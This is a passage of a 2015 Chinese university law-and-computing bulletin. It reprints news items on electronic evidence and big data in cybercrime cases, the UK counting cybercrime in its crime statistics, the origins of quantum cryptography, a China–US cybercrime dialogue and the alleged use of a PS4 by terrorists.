10 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 不 能 局 限 于 打 击 单 个 犯 罪 和 下 游 犯 罪, 必 须 立 足 于 打 源 头 打 团 伙 打 链 条, 并 且 既 要 惩 治 人, 还 要 惩 治 网 络 平 台 应 用 电 子 数 据 打 击 网 络 犯 罪 朱 劲 松 介 绍, 从 2012 年 开 始,PC 端 的 团 伙 向 移 动 支 付 端 转 移, 在 2013 年 针 对 移 动 支 付 端 的 病 毒 包 是 4.5 万 个, 到 2014 年 达 到 13.5 万 从 2015 年 前 三 季 度 每 个 月 感 染 的 用 户 趋 势 可 以 看 出, 总 体 的 风 险 趋 势 在 不 断 上 升 公 安 部 第 一 研 究 所 副 研 究 员 杨 卫 军 表 示, 网 络 犯 罪 已 向 智 能 方 向 转 移, 趋 势 的 增 长, 表 明 未 来 在 打 击 网 络 犯 罪 层 面 要 做 的 工 作 非 常 多, 从 取 证 执 政 质 证 和 认 证 的 环 节, 应 用 电 子 数 据 是 打 击 网 络 犯 罪 的 最 佳 方 式 据 法 治 周 末 记 者 了 解, 电 子 数 据 从 2012 年 开 始 成 为 一 个 独 立 的 证 据 类 型, 不 过, 电 子 证 据 的 相 关 取 证 程 序 规 定 仍 然 很 少, 这 种 规 则 的 缺 失, 使 得 其 他 部 门 法, 特 别 是 行 政 法 领 域 的 规 定, 在 刑 事 司 法 实 践 中 充 当 起 了 指 导 电 子 证 据 取 证 和 认 证 的 作 用 对 此, 武 汉 大 学 法 学 院 教 授 皮 勇 表 示 : 关 于 电 子 证 据 合 法 性 认 证 方 面, 在 实 体 法 层 面, 现 已 通 过 关 于 死 刑 案 件 证 据 认 定 的 规 定, 如 果 能 进 行 电 子 证 据 真 实 性 的 认 证, 就 可 以 成 为 我 们 判 断 其 他 类 似 电 子 证 据 真 实 性 的 重 要 环 节 ; 关 于 证 明 力 方 面, 除 了 依 照 其 他 的 部 门 法 认 定 之 外, 间 接 认 定 证 据 也 是 重 要 的 方 法, 比 如 符 合 相 关 的 国 际 标 准, 证 据 证 明 力 的 强 弱, 可 以 作 为 一 个 重 要 的 支 撑, 我 们 在 信 息 化 领 域 里 规 定 了 很 多 证 据 的 标 准, 这 些 证 据 标 准 的 复 合 性, 特 别 是 对 于 我 们 在 取 证 过 程 中 有 重 要 的 引 导 作 用 推 动 完 善 大 数 据 相 关 规 则 现 如 今, 打 开 百 度 地 图 快 的 打 车 滴 滴 打 车 等 出 行 APP, 通 过 后 台 的 数 据, 就 能 反 映 出 你 什 么 时 候 什 么 地 点, 到 了 什 么 地 方 ; 在 淘 宝 京 东 美 团 等 消 费 型 APP 上, 只 要 点 开 某 件 商 品, 也 会 有 大 数 据 的 留 存 那 么, 大 数 据 能 不 能 作 为 司 法 证 据 使 用? 皮 勇 表 示, 在 大 数 据 时 代, 每 个 人 手 机 中 都 有 各 种 APP 定 位, 这 种 方 式 取 得 的 数 据, 能 不 能 成 为 证 明 安 全 实 施 的 证 据, 仍 是 我 们 在 司 法 实 践 中 需 要 的 考 虑 ; 如 果 它 可 以 成 为 证 据, 那 么, 在 每 个 城 市 生 活 的 人 都 将 变 得 透 明 中 国 人 民 大 学 法 学 院 教 授 刘 品 新 认 为, 在 大 数 据 出 现 以 后, 隐 私 和 侦 查 个 人 信 息 权 利 和 大 数 据 构 成 了 矛 盾 : 在 大 数 据 公 司 收 集 个 人 的 信 息 时, 理 论 上, 个 人 有 选 择 权, 然 而 在 生 活 中, 个 人 也 并 不 知 晓 中 国 的 法 律 必 须 关 注 大 数 据, 从 实 体 法 特 别 是 民 商 法 的 角 度 来 讲, 必 须 明 确 大 数 据 的 权 利 意 义 ; 从 审 判 角 度 来 讲, 对 大 数 据 要 有 一 些 相 关 的 规 则 ; 从 司 法 角 度 来 讲, 必 须 积 极 推 动 参 与 构 建 大 数 据 时 代 的 法 律 规 则, 包 括 程 序 规 则 证 据 规 则 刘 品 新 进 一 步 表 示 相 关 链 接 : 网 络 犯 罪 首 次 纳 入 英 年 度 犯 罪 统 计 年 11 月 24 日 07:00 法 制 网 - 法 制 日 报 张 春 晓 郭 旨 龙 据 英 国 卫 报 英 国 广 播 公 司 等 媒 体 报 道, 英 国 国 家 统 计 局 公 布 的 英 格 兰 和 威 尔 士 地 区 的 年 度 犯 罪 总 量 最 新 数 据 引 起 了 社 会 各 界 的 广 泛 关 注, 各 方 反 应 不 一 英 国 国 家 统 计 局 最 新 数 据 显 示, 英 格 兰 和 威 尔 士 地 区 在 2014 年 6 月 至 2015 年 6 月 内 的 犯 罪 总 量 超 过 1160 万 起, 几 乎 达 到 了 上 一 年 度 该 地 区 犯 罪 总 量 的 两 倍 (2014 年 为 700 万 起 ) 犯 罪 总 量 的 激 增 缘 于 2015 年 的 年 度 犯 罪 调 查 首 次 将 网 络 犯 罪 纳 入 统 计 该 调 查 显 示, 过 去 12 个 月 内, 英 格 兰 和 威 尔 士 地 区 的 网 络 欺 诈 预 计 达 510 万 起 ; 计 算 机 滥 用 预 计 达 250 万 起, 包 括 未 经 授 权 访 问 个 人 信 息 和 传 播 计 算 机 病 毒 两 种 形 式 该 局 宣 称, 公 布 网 络 犯 罪 的 官 方 估 值 回 应 了 人 们 对 网 络 犯 罪 越 来 越 多 的 关 注 - 6 -

11 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 一 些 人 认 为, 网 络 犯 罪 的 增 长 弥 补 了 犯 罪 总 量 自 1995 年 以 来 的 持 续 下 降 但 是, 该 局 犯 罪 办 公 室 负 责 人 约 翰 弗 莱 特 利 说, 有 人 认 为 犯 罪 并 未 减 少 而 是 变 换 成 了 该 年 度 调 查 无 法 捕 捉 的 形 式 非 常 明 确 的 是, 有 些 犯 罪 确 实 转 移 到 了 网 络 世 界, 但 是 对 这 一 现 象 的 分 析 和 思 考 不 应 忽 视 传 统 犯 罪 总 量 持 续 下 降 这 一 大 背 景 该 局 局 长 格 伦 沃 森 说, 虽 然 我 们 估 计 去 年 的 网 络 欺 诈 和 计 算 机 滥 用 犯 罪 超 过 700 万 起, 但 这 并 不 表 明 犯 罪 总 量 的 近 期 增 长 新 的 统 计 方 法 将 大 量 一 直 存 在 但 并 未 纳 入 统 计 的 犯 罪 首 次 纳 入 统 计 类 似 地, 警 察 部 长 麦 克 彭 宁 说, 犯 罪 在 减 少, 也 在 改 变 形 式 我 们 也 在 致 力 于 打 击 网 络 犯 罪 新 形 式 的 犯 罪 并 不 构 成 新 的 威 胁, 政 府 已 经 采 取 一 系 列 措 施 打 击 新 形 式 的 犯 罪 自 2010 年 起 我 们 投 资 8.6 亿 英 镑 设 立 了 国 家 犯 罪 局, 并 成 立 了 防 治 诈 骗 行 动 处, 从 而 协 助 警 方 识 别 复 杂 骗 局 之 间 的 联 系 我 们 正 在 与 产 业 和 消 费 者 进 行 合 作, 从 而 确 保 犯 罪 持 续 下 降 近 几 年 传 播 计 算 机 病 毒 的 犯 罪 数 量 已 经 有 所 下 降 ; 芯 片 和 密 码 的 使 用 也 使 得 信 用 卡 诈 骗 在 2009 年 至 2010 年 间 下 降 了 超 过 15% 一 个 精 确 的 国 家 ( 犯 罪 ) 统 计 数 据 对 于 指 引 我 们 进 一 步 作 出 应 对 至 关 重 要 国 家 统 计 局 的 最 新 数 据 显 示 了 我 们 一 直 知 晓 但 却 无 法 量 化 的 事 实 但 是, 英 国 内 政 部 对 于 是 否 应 将 关 于 网 络 欺 诈 和 网 络 犯 罪 的 最 新 估 值 纳 入 官 方 统 计 数 据 持 不 同 意 见 它 认 为, 这 些 最 新 估 值 来 自 一 个 样 本 容 量 为 2072 的 子 样 本, 它 们 不 应 与 总 体 样 本 所 得 出 的 数 据 进 行 简 单 相 加 这 些 关 于 网 络 犯 罪 的 最 新 估 值 应 被 视 为 初 步 估 值 而 非 官 方 数 据 事 实 上, 与 警 方 公 布 的 犯 罪 记 录 数 据 不 同, 国 家 统 计 局 的 英 格 兰 和 威 尔 士 地 区 年 度 犯 罪 调 查 数 据 来 源 于 公 民 遭 受 犯 罪 侵 害 的 经 历, 这 对 估 计 潜 在 犯 罪 的 数 量 具 有 重 要 意 义 这 项 调 查 通 过 面 对 面 访 谈 被 随 机 抽 取 的 受 访 者 的 调 查 形 式 对 每 年 度 英 格 兰 和 威 尔 士 地 区 内 遭 受 犯 罪 侵 害 的 受 害 者 数 量 和 犯 罪 数 量 作 出 估 计 虽 然 国 家 统 计 局 将 网 络 犯 罪 纳 入 统 计 这 一 举 措 对 传 统 犯 罪 统 计 有 所 突 破, 但 是 国 家 统 计 局 的 统 计 方 法 仍 有 多 处 需 要 改 进 除 去 统 计 技 术 层 面 的 不 足 外, 对 于 网 络 犯 罪 的 统 计 主 要 还 面 临 两 方 面 的 问 题 一 方 面, 纳 入 统 计 的 网 络 犯 罪 的 形 式 过 于 狭 窄, 局 限 于 网 络 欺 诈 和 计 算 机 滥 用 两 大 类, 其 他 形 式 的 网 络 犯 罪 仍 未 纳 入 统 计 网 络 空 间 新 型 犯 罪, 如 联 机 滋 扰, 并 未 纳 入 统 计 网 络 空 间 并 非 与 传 统 空 间 分 立 存 在 的 虚 拟 空 间, 一 些 传 统 犯 罪 如 性 侵 儿 童 转 移 至 网 络 空 间 针 对 这 些 犯 罪 如 何 设 计 调 查, 需 要 更 多 的 法 理 与 伦 理 思 考 另 一 方 面, 获 得 准 确 的 网 络 犯 罪 统 计 数 据 面 临 着 与 统 计 传 统 犯 罪 不 同 的 新 挑 战 如 何 准 确 地 理 解 清 晰 地 界 定 新 形 式 的 利 用 网 络 实 施 的 犯 罪 是 统 计 部 门 面 临 的 难 题 例 如 将 未 经 授 权 获 取 他 人 个 人 信 息 纳 入 犯 罪 统 计, 但 是 采 访 者 与 受 访 者 对 于 个 人 信 息 的 理 解 是 否 合 乎 法 律 框 架, 是 一 个 值 得 思 考 的 问 题 虽 然 欧 盟 数 据 保 护 指 令 第 29 条 工 作 组 官 方 意 见 和 英 国 国 内 法 对 何 为 个 人 数 据 个 人 信 息 进 行 了 明 确 详 细 的 解 释, 但 是 在 个 案 中 所 涉 信 息 是 否 为 个 人 信 息 仍 存 在 很 大 的 争 议 对 各 种 形 式 的 网 络 犯 罪 进 行 充 分 的 研 究 是 获 得 准 确 统 计 数 据 的 重 要 前 提 为 受 访 者 澄 清 这 些 法 律 概 念, 避 免 受 访 者 对 调 查 内 容 发 生 误 解, 对 调 查 者 而 言 任 务 艰 巨 正 如 警 察 部 长 所 说, 精 确 的 犯 罪 统 计 数 据 对 于 指 引 包 括 警 察 在 内 的 政 府 相 关 部 门 社 会 各 界 采 取 相 应 应 对 举 措 十 分 重 要 犯 罪 统 计 是 反 映 社 会 发 展 健 康 与 否 的 一 面 镜 子, 对 于 犯 罪 预 防 和 行 为 矫 正 都 具 有 重 要 意 义 将 利 用 互 联 网 实 施 的 传 统 犯 罪 和 新 型 犯 罪 纳 入 现 行 犯 罪 统 计 体 系, 是 统 计 部 门 面 临 的 严 峻 挑 战 但 是, 不 仅 统 计 部 门 需 要 结 合 新 形 势 对 调 查 方 法 进 行 改 进, 整 个 刑 事 司 法 体 系 都 需 要 对 网 络 犯 罪 投 入 更 多 关 注, 作 出 积 极 合 理 的 应 对, 最 终 达 到 有 效 预 防 犯 罪 的 目 的 ( 作 者 分 别 为 英 国 布 里 斯 托 大 学 法 学 院 博 士 生 格 拉 斯 哥 大 学 法 学 院 博 士 生 ) 相 关 链 接 :

12 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 量 子 密 码 学 的 诞 生 年 11 月 06 日 05:14:57 来 源 : 光 明 日 报 密 码 学 最 早 可 追 溯 到 几 千 年 前, 六 韬 中 曾 记 载, 早 在 周 朝 时 就 有 通 过 阴 符 和 阴 书 加 密 传 递 信 息 的 做 法 当 前 最 受 人 关 注 的, 是 利 用 量 子 物 理 学 原 理 进 行 加 密 的 量 子 密 码 学 然 而, 量 子 密 码 学 的 诞 生 却 源 自 于 一 个 巧 合 1900 年, 德 国 物 理 学 家 马 克 思 普 朗 克 首 先 提 出 量 子 的 概 念, 导 致 了 量 子 力 学 的 产 生 经 过 几 十 年 的 发 展, 量 子 力 学 逐 渐 发 展 成 熟, 到 了 20 世 纪 60 年 代 达 到 了 一 个 新 的 高 度 将 这 一 先 进 理 论 付 诸 应 用 的 想 法 逐 渐 出 现 其 时, 美 国 布 兰 蒂 斯 大 学 的 学 生 史 蒂 芬 J 威 斯 纳 对 量 子 物 理 学 产 生 了 浓 厚 的 兴 趣, 在 进 入 哥 伦 比 亚 大 学 攻 读 硕 士 时 开 始 相 关 研 究 当 时 美 国 出 现 了 很 多 假 钞, 却 没 有 什 么 比 较 好 的 防 伪 办 法 威 斯 纳 突 发 奇 想, 提 出 了 一 个 量 子 货 币 的 概 念, 也 就 是 让 纸 币 携 带 一 定 数 量 的 光 子, 利 用 量 子 不 可 克 隆 原 理 和 测 不 准 原 理, 防 止 纸 币 被 伪 造 者 复 制 威 斯 纳 花 费 了 大 量 时 间 将 他 的 理 论 写 成 了 一 篇 论 文, 并 将 它 投 往 IEEE( 美 国 电 气 和 电 子 工 程 师 协 会 ) 的 一 份 期 刊 但 是, 这 篇 文 章 被 编 辑 退 稿, 原 因 是 想 法 太 超 前 而 没 有 实 际 价 值 威 斯 纳 对 此 并 不 气 馁, 不 停 地 寻 找 其 他 机 会 投 稿, 并 向 周 围 的 人 宣 传 他 的 理 论, 但 同 样 没 有 获 得 多 少 回 应 的 确, 在 那 个 年 代, 量 子 理 论 本 身 还 是 一 个 独 立 于 经 典 物 理 体 系 之 外 的 新 兴 理 论, 再 加 上 威 斯 纳 的 想 法 太 过 奇 妙, 大 家 基 本 听 不 懂 他 在 说 什 么 幸 运 的 是, 他 的 理 论 引 起 了 查 尔 斯 本 内 特 的 注 意 本 内 特 和 威 斯 纳 是 大 学 同 学, 毕 业 后 去 了 哈 佛 攻 读 硕 士 威 斯 纳 说 服 了 本 内 特, 本 内 特 开 始 宣 传 威 斯 纳 的 理 论, 但 同 样 效 果 一 般 心 情 郁 闷 的 本 内 特 决 定 出 去 散 散 心, 报 名 参 加 了 一 个 在 波 多 黎 各 的 计 算 机 信 息 主 题 的 学 术 会 议 在 波 多 黎 各, 本 内 特 遇 到 了 一 个 叫 吉 勒 斯 布 拉 萨 德 的 年 轻 人 布 拉 萨 德 正 在 康 奈 尔 大 学 攻 读 计 算 机 信 息 科 学 博 士, 主 要 研 究 方 向 是 密 码 学 本 内 特 趁 布 拉 萨 德 去 圣 胡 安 海 滩 游 泳 的 时 候, 和 他 说 起 了 威 斯 纳 的 理 论 恰 好 布 拉 萨 德 看 过 本 内 特 的 一 些 文 章 和 报 告, 对 他 的 一 些 思 路 很 感 兴 趣, 于 是 两 人 很 愉 快 地 交 流 起 来 讨 论 了 几 个 小 时 后, 他 们 发 现 关 于 量 子 货 币 实 在 没 有 什 么 好 的 思 路, 所 以 试 着 将 思 路 转 移 到 布 拉 萨 德 研 究 的 密 码 学 上 来 意 外 的 是, 他 们 发 现 威 斯 纳 的 编 码 方 案 与 密 码 学 的 公 钥 系 统 十 分 匹 配, 于 是 决 定 展 开 合 作 研 究, 并 最 终 形 成 了 著 名 的 BB84 理 论 量 子 密 码 学 正 式 诞 生 了 ( 吴 杨 梓, 作 者 单 位 : 中 国 科 大 科 技 史 与 科 技 考 古 系 ) 更 多 内 容 见 链 接 : 国 内 首 家 互 联 网 智 库 联 盟 成 立 助 力 新 型 高 端 智 库 建 设 年 12 月 07 日 09:54 来 源 : 人 民 网 国 内 第 一 家 互 联 网 智 库 联 盟 成 立 人 民 网 北 京 12 月 7 日 电 第 二 届 互 联 网 与 国 家 治 理 智 库 论 坛 6 日 在 商 务 印 书 馆 举 行 论 坛 首 次 发 布 互 联 网 与 国 家 治 理 年 度 报 告 (2015) 国 家 互 联 网 信 息 办 公 室 网 络 新 闻 信 息 传 播 局 局 长 姜 军 商 务 印 书 馆 总 经 理 于 殿 利 中 山 大 学 副 校 长 马 骏 等 出 席, 来 自 中 国 社 会 科 学 院 中 国 科 学 院 中 山 大 学 复 旦 大 学 安 徽 大 学 人 民 网 舆 情 监 测 室 等 20 多 家 高 校 和 研 究 机 构 的 50 余 位 智 库 专 家 出 席 会 议 与 会 专 家 围 绕 网 络 空 间 治 理 与 舆 论 场 调 适 的 会 议 主 题, 全 面 探 讨 了 新 常 态 下 的 网 络 治 理 之 道 成 立 国 内 第 一 家 互 联 网 治 理 智 库 联 盟 本 次 论 坛 响 应 中 央 加 强 新 型 智 库 建 设 和 高 端 智 库 的 要 求, 跨 界 整 合 资 源, 在 新 型 高 端 智 - 8 -

13 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 库 的 建 设 上 迈 出 了 一 大 步 由 中 山 大 学 互 联 网 与 治 理 研 究 中 心 发 起, 复 旦 大 学 北 京 邮 电 大 学 安 徽 大 学 南 京 大 学 中 国 传 媒 大 学 北 京 师 范 大 学 南 方 舆 情 数 据 研 究 院 人 民 网 舆 情 监 测 室 等 14 家 互 联 网 智 库 单 位 联 合 成 立 了 互 联 网 治 理 智 库 联 盟, 搭 建 起 一 个 横 跨 学 界 业 界 和 政 界 的 互 联 网 与 国 家 治 理 的 跨 学 科 交 流 与 合 作 的 新 型 平 台 14 家 互 联 网 智 库 单 位 负 责 人 及 其 代 表 围 绕 当 前 互 联 网 智 库 发 展 现 状 和 问 题 互 联 网 智 库 联 盟 的 合 作 计 划 与 运 作 机 制 展 开 了 讨 论, 在 合 作 问 题 上 达 成 了 共 识 中 山 大 学 互 联 网 与 治 理 研 究 中 心 张 志 安 教 授 表 示, 智 库 联 盟 将 围 绕 互 联 网 治 理 展 开 学 术 交 流 与 研 究 合 作, 逐 步 实 现 渠 道 共 享 信 息 共 享 和 数 据 共 享, 搭 建 圆 桌 会 议 高 峰 论 坛 等 常 态 交 流 机 制, 积 极 推 动 国 家 治 理 体 系 和 治 理 能 力 的 现 代 化 首 次 发 布 互 联 网 与 国 家 治 理 年 度 报 告 论 坛 举 行 了 互 联 网 与 国 家 治 理 年 度 报 告 (2015) 新 书 发 布, 这 是 国 内 首 次 向 社 会 发 布 互 联 网 与 国 家 治 理 方 面 的 年 度 报 告 互 联 网 与 国 家 治 理 年 度 报 告 (2015) 是 国 内 互 联 网 治 理 领 域 中 的 第 一 部 系 统 分 析 互 联 网 与 国 家 治 理 问 题 的 重 要 研 究 成 果 该 报 告 运 用 扎 实 的 经 验 材 料 和 调 查 数 据, 深 入 系 统 地 分 析 了 互 联 网 平 台 中 国 家 社 会 公 民 的 互 动 机 制 与 会 专 家 称, 报 告 以 网 络 空 间 法 治 化 为 主 题, 主 要 内 容 包 括 互 联 网 立 法 国 际 网 络 空 间 治 理 网 络 生 态 互 联 网 舆 论 网 络 大 数 据 与 地 方 网 络 治 理 研 究 六 大 板 块, 汇 集 了 30 余 篇 相 关 的 学 术 论 文 和 决 策 报 告, 初 步 构 建 了 一 幅 互 联 网 与 国 家 治 理 的 理 论 版 图 中 国 传 媒 大 学 王 四 新 教 授 指 出 : 该 报 告 汇 总 了 互 联 网 治 理 的 年 度 最 新 成 果, 是 互 联 网 治 理 中 国 经 验 的 全 面 总 结 它 丰 富 了 互 联 网 治 理 论, 对 推 动 中 国 和 世 界 的 互 联 网 治 理 工 作, 将 产 生 积 极 而 深 远 的 影 响 北 京 师 范 大 学 张 洪 忠 教 授 也 表 示, 该 书 针 对 当 前 我 国 互 联 网 发 展 问 题, 在 基 础 研 究 与 现 实 发 展 之 间 开 展 了 诸 多 有 价 值 的 探 讨, 这 些 探 讨 不 仅 仅 为 后 续 学 术 研 究 打 下 了 基 础, 更 为 重 要 的 是 可 以 为 我 国 网 络 空 间 管 理 提 供 有 价 值 的 参 考 互 联 网 与 国 家 治 理 年 度 报 告 (2015) 由 中 山 大 学 组 织 编 写, 商 务 印 书 馆 出 版 发 行 推 动 学 界 业 界 政 界 三 方 跨 界 交 流 论 坛 以 网 络 空 间 治 理 与 舆 论 场 调 适 为 主 题, 回 应 了 社 会 各 界 对 网 络 空 间 治 理 面 临 重 大 问 题 的 共 同 关 注 会 议 期 间, 学 术 界 网 络 传 媒 界 官 方 代 表 围 绕 网 络 空 间 治 理 网 络 舆 论 场 调 适 互 联 网 治 理 创 新 等 重 要 议 题 展 开 探 讨, 先 后 有 24 位 知 名 学 者 和 业 界 精 英 发 表 演 讲 有 着 中 国 博 客 教 父 之 称 的 互 联 网 实 验 室 创 始 人 方 兴 东 北 京 邮 电 大 学 互 联 网 治 理 与 法 律 研 究 中 心 主 任 李 欲 晓 复 旦 大 学 传 播 与 国 家 治 理 研 究 中 心 长 江 学 者 张 涛 甫 河 北 大 学 伊 斯 兰 国 家 社 会 发 展 研 究 中 心 主 任 白 贵 人 民 网 舆 情 监 测 室 秘 书 长 祝 华 新 中 国 科 学 院 大 学 管 理 学 院 副 院 长 吕 本 富 安 徽 大 学 新 闻 传 播 学 院 院 长 姜 红 上 海 社 会 科 学 院 信 息 研 究 所 副 所 长 党 齐 民 等 20 多 位 智 库 专 家 先 后 发 言 其 他 专 家 和 代 表 在 互 动 交 流 环 节 也 积 极 发 言, 充 分 交 流, 共 商 互 联 网 传 播 合 作 与 发 展 大 计 通 过 这 次 论 坛, 与 会 代 表 普 遍 认 识 到, 国 内 互 联 网 智 库 应 该 齐 心 合 力, 携 手 共 建 民 主 透 明 的 合 作 沟 通 平 台 在 此 基 础 上, 会 议 达 成 共 识, 倡 议 国 内 各 界 成 立 互 联 网 智 库, 为 政 府 决 策 和 管 理 提 供 咨 政 参 考 据 悉, 互 联 网 与 国 家 治 理 智 库 论 坛 从 2014 年 起 每 年 举 办 一 届, 致 力 于 促 进 互 联 网 与 国 家 治 理 领 域 跨 学 科 跨 界 的 交 流 互 动 与 合 作 相 关 链 接 :

14 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 首 次 中 美 打 击 网 络 犯 罪 及 相 关 事 项 对 话 成 果 声 明 :22:09 来 源 : 公 安 部 2015 年 12 月 1 日, 中 华 人 民 共 和 国 国 务 院 国 务 委 员 公 安 部 部 长 郭 声 琨 在 华 盛 顿 与 美 国 司 法 部 部 长 林 奇 美 国 国 土 安 全 部 部 长 约 翰 逊 共 同 主 持 了 首 次 中 美 打 击 网 络 犯 罪 及 相 关 事 项 高 级 别 联 合 对 话 双 方 一 致 认 为, 中 美 建 立 打 击 网 络 犯 罪 及 相 关 事 项 高 级 别 联 合 对 话, 是 落 实 习 近 平 主 席 与 奥 巴 马 总 统 会 晤 共 识 的 重 要 举 措, 将 对 两 国 网 络 安 全 执 法 合 作 产 生 重 要 影 响 双 方 积 极 评 价 2015 年 9 月 以 来 双 方 在 有 关 重 要 案 件 和 网 络 安 全 执 法 领 域 取 得 的 积 极 进 展 双 方 决 定 本 着 依 法 对 等 坦 诚 务 实 的 原 则, 继 续 扎 实 推 进 各 项 工 作, 建 设 性 管 控 分 歧, 推 动 打 击 网 络 犯 罪 及 相 关 事 项 合 作 取 得 更 多 进 展 经 充 分 协 商, 首 次 对 话 确 定 如 下 具 体 成 果 和 未 来 合 作 : 一 双 方 同 意 中 美 打 击 网 络 犯 罪 及 相 关 事 项 指 导 原 则 该 指 导 原 则 明 确 了 双 方 的 合 作 渠 道, 规 定 了 协 助 请 求 的 形 式 与 内 容, 提 出 了 双 方 要 及 时 给 予 响 应 的 要 求 二 双 方 同 意 开 展 打 击 网 络 犯 罪 等 领 域 的 经 验 交 流 2016 年 春 季, 双 方 以 共 同 认 可 的 网 络 犯 罪 案 件 恶 意 网 络 行 为 和 网 络 保 护 为 场 景 举 行 桌 面 推 演 桌 面 推 演 期 间, 双 方 将 评 估 中 方 关 于 举 办 打 击 利 用 技 术 和 通 讯 组 织 策 划 和 实 施 恐 怖 活 动 研 讨 会 的 提 议, 双 方 还 将 考 虑 美 方 关 于 邀 请 专 家 进 行 网 络 保 护 交 流 的 提 议 三 双 方 建 立 两 国 打 击 网 络 犯 罪 及 相 关 事 项 热 线, 随 时 就 重 大 紧 急 网 络 案 件 及 相 关 执 法 合 作 事 宜 进 行 直 接 沟 通, 以 处 理 在 响 应 这 些 请 求 过 程 中 可 能 出 现 的 问 题 升 级 双 方 同 意 在 下 一 次 高 级 别 联 合 对 话 前 进 一 步 明 确 热 线 机 制 的 使 用 范 围 目 标 和 程 序 四 双 方 同 意 开 展 打 击 网 络 犯 罪 案 件 合 作, 包 括 网 络 传 播 儿 童 色 情 商 业 窃 密 网 络 诈 骗 利 用 技 术 和 通 讯 组 织 策 划 和 实 施 恐 怖 活 动 等 案 件, 并 在 机 制 框 架 内 加 强 各 部 门 在 网 络 保 护 领 域 的 交 流 中 美 网 络 事 件 和 网 络 保 护 专 家 将 于 12 月 3 日 会 面, 并 将 在 今 后 对 话 期 间 还 能 够 会 面 五 双 方 宣 布 第 二 次 中 美 打 击 网 络 犯 罪 及 相 关 事 项 高 级 别 联 合 对 话 将 于 2016 年 6 月 在 北 京 举 行 相 关 链 接 : 索 尼 PS4 疑 被 恐 怖 分 子 利 用 科 技 巨 头 在 反 恐 中 能 否 做 更 多? :45:00 来 源 : 央 广 网 央 广 网 北 京 11 月 16 日 消 息 据 经 济 之 声 天 下 公 司 报 道, 巴 黎 发 生 的 系 列 恐 怖 袭 击 事 件, 截 至 今 晨 已 造 成 129 人 死 亡 超 过 350 人 受 伤 沉 浸 在 悲 痛 中 的 法 国 开 始 了 为 期 三 天 的 全 国 哀 悼 日 目 前 法 国 比 利 时 警 方 还 正 在 追 捕 一 名 在 逃 的 嫌 疑 人 关 于 此 次 恐 怖 袭 击 发 生 的 一 些 细 节, 目 前 也 在 各 方 调 查 中 逐 渐 浮 出 水 面 IS 极 端 恐 怖 分 子 是 如 何 组 织 策 划 了 这 次 袭 击? 互 联 网 大 数 据 时 代, 他 们 的 计 划 怎 么 会 一 直 没 被 发 现? 比 利 时 内 政 大 臣 让 - 雅 姆 邦 说, 有 证 据 显 示 他 们 可 能 使 用 了 索 尼 的 游 戏 机 PS4 进 行 通 信 恐 怖 分 子 使 用 PS4 通 信, 一 边 玩 游 戏 一 边 实 时 对 话, 这 非 常 难 被 监 控, 远 比 WhatsApp 等 实 时 聊 天 软 件 更 难 跟 踪 工 具 比 利 时 警 方 在 布 鲁 塞 尔 的 突 击 搜 查 行 动 中, 发 现 最 少 一 部 PS4, 警 方 怀 疑 这 是 疑 犯 联 络 对 此, 乌 云 网 联 合 创 始 人 孟 卓 表 示, 早 在 911 事 件 后, 美 国 安 全 部 门 就 发 现, 恐 怖 分 子 会 利 用 游 戏 平 台 交 流, 同 时 在 线 模 拟 袭 击 战 术 当 年 911 事 件 过 后, 媒 体 报 道, 恐 怖 分 子 利 用 一 款 飞 行 游 戏 进 行 练 习, 游 戏 对 于 场 景 的

15 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 仿 真 是 非 常 逼 真 的 可 以 在 PS4 上 进 行 战 争 模 拟 练 习, 同 时 实 时 对 话 沟 通 斯 诺 登 以 前 也 曝 光, 美 国 曾 安 排 情 报 人 员 去 玩 魔 兽 世 界, 去 搜 集 信 息, 另 外, 美 国 方 面 也 对 XBOX 模 拟 人 生 等 有 监 控 孟 卓 说, 发 起 911 恐 怖 袭 击 前, 塔 利 班 恐 怖 分 子 就 是 利 用 一 款 飞 行 模 拟 软 件 进 行 仿 真 练 习, 如 果 仿 真 类 的 战 斗 游 戏 被 恐 怖 分 子 利 用, 那 就 太 可 怕 了 游 戏 想 做 的 效 果 就 是 仿 真,911 时 候, 恐 怖 分 子 利 用 了 一 款 仿 真 模 拟 飞 行, 这 款 游 戏 非 常 逼 真, 就 连 很 多 飞 行 员 都 要 用 它 来 模 拟 练 习 游 戏 厂 商, 现 在 有 很 多 战 争 类 的 游 戏, 不 论 是 场 景 和 任 务 都 可 以 自 己 设 定, 说 不 定, 他 们 真 是 用 一 些 游 戏 来 做 仿 真 模 拟, 以 便 策 划 恐 怖 行 动 截 至 目 前,PS4 的 生 产 厂 商 索 尼 公 司 没 有 对 此 事 作 出 回 应 互 联 网 电 子 产 品 中 产 生 的 数 据 和 交 流 都 有 痕 迹 和 留 存, 不 过 想 在 海 量 的 数 据 中 发 现 袭 击 线 索, 对 于 反 恐 和 情 报 部 门 的 要 求 就 非 常 高 了 据 法 国 媒 体 报 道, 警 方 承 认 这 部 分 监 管 存 在 漏 洞 由 于 PS4 不 是 监 听 人 员 的 主 要 监 控 对 象, 而 相 关 技 术 也 未 成 熟, 恐 怖 分 子 才 利 用 在 游 戏 机 内 的 聊 天 系 统, 进 行 秘 密 会 谈 当 新 一 代 游 戏 机 发 布 时, 人 们 总 是 担 心 隐 私 问 题, 索 尼 PS 的 部 分 配 件 有 能 力 监 听 用 户 的 对 话, 不 过 目 前 看 来 担 心 并 没 有 必 要 这 种 科 技 含 量 相 对 低 的 系 统 可 能 比 传 统 加 密 电 话 短 信 和 邮 件 更 为 安 全 政 府 监 管 有 漏 洞, 科 技 公 司 在 大 数 据 面 前 能 否 帮 上 忙 呢? 在 巴 黎 恐 怖 袭 击 事 件 中, 除 了 可 能 被 利 用 的 索 尼 外, 其 他 科 技 公 司 做 了 些 什 么? Facebook 启 用 了 Safety Check ( 安 全 检 验 ) 功 能, 如 果 用 户 曾 用 移 动 端 在 爆 炸 或 者 枪 击 发 生 的 地 方 出 现 过,facebook 会 发 来 消 息 问 : 你 还 安 全 吗? 用 户 一 旦 在 Facebook 上 表 明 自 己 一 切 都 好, 他 在 Facebook 上 所 有 好 友 都 会 收 